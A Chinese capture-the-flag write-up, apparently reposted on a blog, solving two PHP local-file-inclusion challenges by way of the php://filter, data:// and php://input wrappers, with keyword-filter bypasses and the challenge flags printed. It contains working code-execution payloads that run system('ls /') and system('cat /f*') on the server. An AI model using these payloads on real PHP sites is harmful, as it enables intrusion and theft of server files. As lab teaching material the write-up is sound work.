青少年CTF-qsnctf-Web-include01include02(多种方法-知识点较多-建议收藏!)

news2025/1/20 5:46:17

PHP常见伪协议

php://filter是PHP中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。官方解释为:php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。

php://data协议是PHP中的一种特殊协议,可以在包含函数中被用来执行一些特殊的操作。它没有条件限制,但仅能用于在CTF(Capture The Flag)中读取本地文件,且不受allow_url_fopen与allow_url_include的影响。

php://input是PHP提供的一个伪协议,允许开发者访问POST请求的原始内容。它是一个只读流,可以获取POST请求数据的协议。当enctype="multipart/form-data"时, php://input是无效的。

include01

题目环境:
image.png

出题人:末心
题目难度:★
题目描述:你能否获取Flag呢,flag格式为:qsnctf{xxx}。

image.png

<?php
  error_reporting(0);
if (isset($_GET['file'])) {
  if (!strpos($_GET["file"], "flag")) {
    include $_GET["file"];
  } else {
    echo "Hack!!!";
  }
} else {
  highlight_file(__FILE__);
}
?>
<hr>
你能否获取Flag?<br>
<a href="hello.php">hello</a>
你能否获取Flag?
hello
PHP代码审计
1.给了一个参数file
2.strpos函数用来查找flag在字符串中第一次出现的位置
3.!是取反就是相反的意思 如果存在flag关键字那么就会显示Hack!!!
那么简单来说就是我们的flag关键字被过滤了!
绕过方式也有很多种 这里就主要通过字符来绕过这个flag关键字过滤

filter伪协议

查看index.php的内容
并将其内容以base64编码形式显示出来

?file=php://filter/read=convert.base64-encode/resource=index.php
image.png
image.png

解码之后也就是题目的源码

查看flag的内容
并将其内容以base64编码显示出来
使用*号绕过flag关键字过滤 意为查看f开头的所有文件

?file=php://filter/read=convert.base64-encode/resource=f*
image.png

没有显示任何内容
显然filter协议是不适合这道题目的

data伪协议

第一种解法

使用data协议获取本地内容
phpinfo()打开PHP配置信息

?file=data://text/plain,<?php phpinfo();?>
image.png

成功执行
Ctrl+F搜索flag在配置信息中的位置

image.png

在第五条信息中发现了flag的存在

第二种解法

使用data伪协议获取本地内容
并且调用外部执行命令
system外部执行命令

列出根目录下的所有目录以及文件

?file=data://text/plain,<?php system("ls /");?>
image.png

bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

在根目录下发现了flag文件的存在

查看根目录下的flag文件内容
f*代表f开头的所有文件
因为根目录下只有flag这一个f开头的文件 所以查看的就是flag文件的内容咯

?file=data://text/plain,<?php system("cat /f*");?>
image.png

input伪协议

需要的工具
火狐浏览器
Max HacKBar插件

第一种解法

访问POST请求的原始内容
phpinfo()查看PHP的配置信息

URL网页链接就是GET请求数据

?file=php://input

POST请求数据

<?php phpinfo();?>
image.png

成功执行
Ctrl+F搜索flag在配置信息中的位置

image.png

在第五条信息中发现了flag的存在

第二种解法

使用input伪协议访问POST请求的原始内容
并且调用外部执行命令
system外部执行命令

URL网页链接就是GET请求数据

?file=php://input

POST请求数据

列出根目录下的所有目录以及文件

<?php system("ls /");?>
image.png

 bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var  

在根目录下发现flag文件的存在

查看根目录下的flag文件内容
通过fl\ag绕过flag关键字过滤

GET请求数据不用管了

POST请求数据

<?php system("cat /fl\ag");?>
image.png

得到flag:
qsnctf{5f6cef0f-f83c-4b60-a0a8-e97c755ae457}

include02

题目环境:
image.png

出题人:末心
题目难度:★
题目描述:这道题修改了一些东西哦!你还能做出来吗,flag格式为:qsnctf{xxx}。

image.png

禁用了input伪协议

输入框随便输入值进入check.php界面

image.png

删除file参数查看check.php源代码

image.png

<?php
  error_reporting(0);
if (isset($_GET['file'])) {
  if (!strpos($_GET["file"], "input") && !strpos($_GET["file"], "flag")) {
    include $_GET["file"];
  } else {
    echo "Hack!!!";
  }
} else {
  highlight_file(__FILE__);
}
?>
<hr>
你能否获取Flag?<br>
<a href="hello.php">hello</a>
你能否获取Flag?
hello
PHP代码审计
相比include01 这道题目多增加了一个过滤 
过滤了input关键字 进而导致input伪协议不能使用

filter伪协议

查看flag的内容
并将其内容以base64编码形式显示出来
f???代替flag
意思是文件名f开头并且文件名是4位的文件

?file=php://filter/read=convert.base64-encode/resource=f???
image.png

filter伪协议依旧是不适用此题目

由于input关键字被过滤导致input伪协议不能使用
就直接使用data伪协议了

data伪协议

第一种解法

使用data伪协议获取本地内容
phpinfo()打开PHP配置信息

?file=data://text/plain,<?php phpinfo();?>
image.png

成功执行
Ctrl+F搜索flag在配置信息中的位置

image.png

在第五条信息中发现了flag

第二种解法

使用data协议获取本地内容
并且调用外部执行命令
system外部执行命令

列出根目录下的所有目录以及文件

?file=data://text/plain,<?php system("ls /");?>
image.png

bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

在根目录下发现了flag文件的存在

查看根目录下的flag文件内容
f???代替flag
意思是文件名f开头并且文件名是4位的文件

?file=data://text/plain,<?php system("cat /f???");?>
image.png

得到flag:
qsnctf{0ed8d987-ba51-490e-9775-e0974ccf0a06}


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1330865.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【HDFS联邦(1)】ViewFs与联邦理论知识详解

文章目录 一.ViewFs介绍二. 联邦之前的旧世界1. 单个 namenode集群2. 路径使用逻辑 三. 新世界 – 联邦与ViewFs1. How The Clusters Look2. 使用 ViewFs 为每个集群创建全局的Namespace2. 路径使用逻辑3. 路径使用最佳实践&#xff08;ing&#xff09; 本文主要想讨论 HDFS Vi…

基于JSP+Servlet+Mysql的调查管理系统

基于JSPServletMysql的调查管理系统 一、系统介绍二、功能展示1.项目内容2.项目骨架3.数据库3.登录4.注册3.首页5.系统管理 四、其它1.其他系统实现五.获取源码 一、系统介绍 项目名称&#xff1a;基于JSPServlet的调查管理系统 项目架构&#xff1a;B/S架构 开发语言&#…

MT3608 高效率1.2MHz2A升压转换器和MT3608L 高效率1.2MHz 2.5A升压转换器 MT3608L和MT3608的区别

MT3608是一个恒定的频率&#xff0c;6引脚SOT23电流模式升压转换器的小&#xff0c;低功耗应用的目的。该MT3608开关在1.2MHz&#xff0c;并允许微小的&#xff0c;低成本的电容器和电感器使用2毫米或更小的高度内部软启动浪涌电流的结果&#xff0c;并延长电池寿命。 …

Jenkins拉去Gitlab代码ssh方式凭证及私钥凭证

Jenkins要从Gitlab拉去代码&#xff0c;则需要在Jenkins配置凭证&#xff0c;同时在配置私钥 Jenkins->凭证->系统->全局凭证->添加凭证 同上图路径进入全局凭证配置页面 点击全局 再点左侧的添加凭证 选择"Username with password"&#xff0c;输入…

w15初识php基础

一、计算100之内的偶数之和 实现思路 所有的偶数除2都为0 代码实现 <?php # 记录100以内的偶数和 $number1; $num0; while($number<100){if($number%20){ $num$number;}$number1; } echo $num; ?>输出的结果 二、计算100之内的奇数之和 实现思路 所有的奇数除…

dubbo线程池为什么耗尽

文章概述 大家可能都遇到过DUBBO线程池打满这个问题&#xff0c;报错如下&#xff0c;本文我们就一起分析DUBBO线程池打满这个问题。 cause: org.apache.dubbo.remoting.RemotingException: Server side(10.0.0.100,20881) thread pool is exhausted, detail msg:Thread pool …

IDEA的facets和artifacts

在软件开发领域&#xff0c;IDEA 是指 JetBrains 公司的 IntelliJ IDEA&#xff0c;是一款流行的集成开发环境&#xff08;Integrated Development Environment&#xff09;。在 IntelliJ IDEA 中&#xff0c;"facets" 和 "artifacts" 是两个概念&#xff…

【学习代码】PyTorch代码 练习

文章目录 AttentionSEAttention【显式地建模特征通道之间的相互依赖关系】【easy】CBAM Attention【SEAttention通道注意力 空间注意力】【middle】SelfAttention【重点&#xff1a;理解意义 and 实践&#xff01;】【hard】 Attention SEAttention【显式地建模特征通道之间的…

找到字符串中所有字母异位词--滑动窗口

个人主页&#xff1a;Lei宝啊 愿所有美好如期而遇 本体题目链接https://leetcode.cn/problems/VabMRr/description/ 算法原理 滑动窗口其实就是种双指针&#xff0c;只是这种双指针只向后移动&#xff0c;不会回退&#xff0c;具有单调性&#xff0c;也就是说&#xff0c;…

C语言的分支和循环语句

各位少年&#xff0c;今天和大家分享的是分支语句循环体语句&#xff0c;C语言是结构体的程序设计语言&#xff0c;这里的结构指的是&#xff08;顺序结构&#xff09;&#xff08;选择结构&#xff09;&#xff08;循环结构&#xff09;C语言是能够实现这三种结构的&#xff0…

了解树和学习二叉树

1.树 1.1 概念 树是一种 非线性 的数据结构&#xff0c;它是由 n &#xff08; n>0 &#xff09;个有限结点组成一个具有层次关系的集合。 把它叫做树是因为它看 起来像一棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;而叶朝下的 。 注意&#xff1a;树形结构中…

html网页编写语言

html是一门语言&#xff0c;所有的网页都是用html这门语言编写出来的。 HTML&#xff08;HyperText Markup Language&#xff09;&#xff1a;超文本标记语言。 超文本&#xff1a;超越了文本的限制&#xff0c;比普通文本更强大。除了文字信息&#xff0c;还可以定义图片&…

产品原型设计软件 Axure RP 9 mac支持多人写作设计

axure rp 9 mac是一款产品原型设计软件&#xff0c;它可以让你在上面任意构建草图、框线图、流程图以及产品模型&#xff0c;还能够注释一些重要地方&#xff0c;axure rp汉化版可支持同时多人写作设计和版本管理控制&#xff0c;这款交互式原型设计工具可以帮助设计者制作出高…

【YOLOV8预测篇】使用Ultralytics YOLO进行检测、分割、姿态估计和分类实践

目录 一 安装Ultralytics 二 使用预训练的YOLOv8n检测模型 三 使用预训练的YOLOv8n-seg分割模型 四 使用预训练的YOLOv8n-pose姿态模型 五 使用预训练的YOLOv8n-cls分类模型 <

linux运维的面试题一

1.linux启动过程 1加电 2加载主板bios设置 3加载多重操作系统启动管理器grub 4加载内核系统到内存当中 5加载配置文件 6加载内核模块 7完成相应的初始化工作和启动相应的服务 8启动系统进程 9出现登录界面 10开机启动完成 2.安装过操作系统吗&#xff1f;怎么安装? 1.小批量设…

波奇学Linux:进程替换

单进程替换 excel使得能够在文件中运行系统指令 int excel (系统文件地址&#xff0c;系统指令&#xff0c;指令参数&#xff0c;NULL)&#xff1b; 成功时无返回值&#xff0c;失败时返回-1 如图进程成功运行第一个printf后再运行指令&#xff0c;但没有输出第二个printf的内容…

Jenkins 插件管理指南

目录 常用插件 插件安装 已安装插件 installed plugins 常用插件 Docker Plugin&#xff1a; 这个插件让Jenkins能够与Docker容器平台进行集成。它允许在Jenkins构建过程中创建、管理和销毁Docker容器&#xff0c;为需要Docker化的项目提供了极大的便利性。对于需要在容器中…

Leetcode—1491.去掉最低工资和最高工资后的工资平均值【简单】

2023每日刷题&#xff08;六十八&#xff09; Leetcode—1491.去掉最低工资和最高工资后的工资平均值 实现代码 class Solution { public:double average(vector<int>& salary) {double sum 0;int n salary.size();sort(salary.begin(), salary.end());for(int i…

全部没有问题(三)

C语言 吞空格 一共三种办法&#xff1a; fflush(stdin), while(getchar()!\n), scanf("%*c") p.s visual studio已经移除gets函数了&#xff0c;要换编译器/函数&#xff0c;visual C可以的 #include <stdio.h>int main() {char x[100], y[100], z[100];i…

贪吃蛇(十)贪吃蛇吃食物

上节讲到限制蛇身回头&#xff0c;本节要实现吃食物功能 实现思路 在存储上食物方面可以复用蛇的结构体。初始化食物的时候&#xff0c;我们设置食物的坐标&#xff0c;每次调用这个函数的时候&#xff0c;坐标发生一些规律的变化。另外我们需要扫描食物的函数&#xff0c;这…